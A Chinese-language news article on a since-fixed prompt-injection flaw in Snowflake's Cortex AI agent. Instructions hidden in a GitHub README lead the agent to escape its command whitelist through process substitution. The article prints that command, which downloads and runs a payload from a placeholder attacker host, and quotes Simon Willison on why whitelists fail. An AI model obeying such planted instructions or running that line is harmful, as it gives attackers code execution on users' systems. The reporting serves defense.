沙盒逃逸漏洞曝光
安全研究机构PromptArmor披露了Snowflake Cortex AI Agent中的一个关键漏洞,攻击者可通过该漏洞突破沙盒限制并执行任意恶意代码。目前该漏洞已被修复,但此次事件暴露了企业AI系统在面对创意攻击时的脆弱性。
攻击手法解析
攻击链的起点是一个看似无害的请求:当用户让Cortex Agent分析某个GitHub代码仓库时,Agent会读取该仓库的README文件。攻击者正是利用这一行为,在README文件末尾隐藏了恶意指令。
Cortex解析README时,这些隐藏的指令被意外激活。攻击代码通过进程替换技术,利用看似安全的`cat`命令执行了恶意操作:
``` cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) ```
这段代码利用了进程替换语法`< <(...)`串联多个命令,最终从远程服务器下载并执行恶意程序。问题的核心在于:命令白名单机制未能防护命令体内这种形式的滥用。
安全专家质疑现有防护模型
知名安全研究员Simon Willison分析此漏洞后,对依赖命令模式匹配作为安全边界的做法表示深度怀疑。他指出:"我在多种代理工具中见过类似的命令白名单防护,我对这类方案完全不信任——它们本质上就不可靠。"
Willison主张采用根本不同的安全思路:不应试图枚举哪些命令模式安全或危险,而应假设AI代理生成的任何命令都可能执行底层进程允许的任何操作。他倾向于使用确定性沙箱,将隔离机制建立在代理自身安全层之外。
行业警示
此次事件为正在大规模部署AI代理的企业敲响警钟。研究显示,即便配备了命令白名单等安全控制机制的系统,也可能被看似无害的功能所击破。
Snowflake已确认漏洞修复完成。但整个行业需要从中吸取教训:沙盒机制必须假设AI生成的命令可能执行任何可用操作,而不仅仅是匹配预定义威胁模式的那些。
对于部署AI代理的企业而言,这意味着需要重新审视安全边界。每条AI生成的命令都应被视为潜在恶意,同时在系统层面实施更 robust 的隔离措施——这或许是应对攻击者持续演进攻击手段的唯一可行之路。